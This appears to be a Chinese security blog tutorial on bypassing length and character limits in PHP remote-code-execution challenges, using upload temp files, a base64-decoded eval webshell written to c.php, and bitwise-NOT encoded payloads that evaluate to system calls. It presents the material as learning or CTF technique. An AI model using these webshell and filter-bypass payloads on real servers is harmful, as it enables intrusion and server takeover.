RCE长度&字符限制绕过

临时文件绕过RCE

核心机制

当 PHP 接收multipart/form-data类型 POST 请求(上传文件)时:

  1. PHP 会自动把上传的文件保存到服务器磁盘,生成临时文件
  2. 临时文件路径存于:$_FILES'表单名''tmp_name'
  3. 默认生命周期:脚本执行结束,PHP 自动删除这个临时文件;脚本运行期间文件真实存在磁盘上。
  4. 临时文件名是随机,例如 /tmp/phpXXXXXX,但是临时文件名中有大小写

只有multipart/form-data表单上传文件才生成临时文件;普通application/x‑www‑form‑urlencodedPOST 纯参数不会生成临时文件。

临时文件绕过

1.长度限制绕过

复制代码
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) {
    echo shell_exec($param);
}

方法一临时文件绕过

修改请求头

Content‑Type: text/plain

声明上传文件的 MIME 类型,这里标记为普通文本

10--11行是1.txt中的内容

在tmp目录成功产生临时文件

再使用点空格,就算没有可执行权限也能执行该文件

.

方法二:文件名拼接绕过长度限制

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > c.php

base64 -d是解码的意思

解码后:<?php eval($_GET1);

具体原理如下:

两个反斜杠实现转义反斜杠,文件名就是 c.\

在 Shell 脚本中:如果一行的结尾是 \,代表本行没有结束,把下一行和当前行拼接为同一行命令

重定向>和空格

-t时间排序

echo id > c.php

成功生成后门c.php,如果把id换成其他可执行 PHP 代码,后续就可以用蚁剑连接,就能控制服务器。

2.字符限制

php8.5不再支持

复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_\$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

方法一正则:

在code的参数中不能出现字母和数字,,于是用?来代替单个字母,分析临时文件发现在tmp目录中只有临时文件名会出现大写字母于是可以用**@-\[**表示A-Z。

在ascii码表中@过来了就是A,Z过了就是。而在正则中\[表示括号内任意一个字符。

因此可以匹配末尾是否是大写字母来匹配这个文件名

构建post上传文件请求头

成功但是没有输出

使用?><?=

?>闭合开头的<?php标签

<?= 是 PHP短输出标签,等价于 <?php echo

方法二取反:

原理如下:

以phpinfo();为例

输出取反后的值是一堆不可打印二进制字节

进行url编码后

又能识别了

那直接对这个url编码进行取反

system ('id')

分析原理

原始字符串 system 是由字母组成的,但是 ~"system" 得到的不是可见字母,是一堆不可打印二进制字节

payload:

复制代码
code=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

为什么这样还能执行?

1.HTTP 报文传输

请求参数里出现的%8C这类内容,只是 HTTP 协议的 URL 编码写法。报文里虽然看着有数字字母,但这只是编码格式。

2.PHP 自动 URL 解码

PHP 接收 GET 参数,自动完成解码。

%xx 整体被解码成0x80‑0xFF 范围的不可见字节。

解码之后,原来报文里的数字、字母字符直接消失,内存里存的是不可见二进制字节,不属于字母、数字。

如下图:因为此时还没有取反

3.过滤检测

preg_match检测的是解码之后的$_GET'code'变量。

变量内容只有符号~ () " ;加上一批不可见高字节,没有字母数字,过滤直接放行。

4.eval 执行代码

eval 拿到放行后的字符串执行:

**~对这些不可见字节做按位取反运算,**代码运行的时候,在内存动态计算出system、id这类带字母的字符串。

注意:system/id并不是用户输入携带的,是运行时运算生成出来的。输入过滤只会检查用户输入,不会检测程序运行过程中动态生成的数据。

PHP 语法(字符串)(参数)完成函数调用,最终执行 system("id");。

思考:

通过取反这种方式,是否可以绕过一些安全工具的限制?这些工具会检查输入源代码。

静态可以,动态行为检测不行

相关推荐
小陈的进阶之路1 小时前
爬虫三大解析库:lxml, jsonpath, bs4
开发语言·笔记·python
wuyk5552 小时前
第1章:无刷电机核心原理与运行机制
c语言·开发语言·stm32·单片机·嵌入式硬件·机器学习
SomeB1oody2 小时前
【RustyML入门】2.10. 主成分分析
开发语言·后端·机器学习·rust·教程
莫凡的博客2 小时前
火山引擎-基础入门阶段细化实操案例
人工智能·php·火山引擎
2603_965148112 小时前
抖音/快手直播选品:用API快速匹配爆款与低价货源
开发语言·python·自动化·api
RobinDevNotes2 小时前
轻量级动画引擎Anime.js迎来V4大版本更新
开发语言·前端·javascript·ecmascript·动画·c4前端
lv__pf2 小时前
servlet与jsp
java·开发语言·servlet
Hhy_11072 小时前
【从零开始学数据结构 ⑥】:二叉树之堆——打破规则的优先队列
c语言·开发语言·数据结构·学习·visual studio
曾小猫3 小时前
20编辑型描述符的使用
开发语言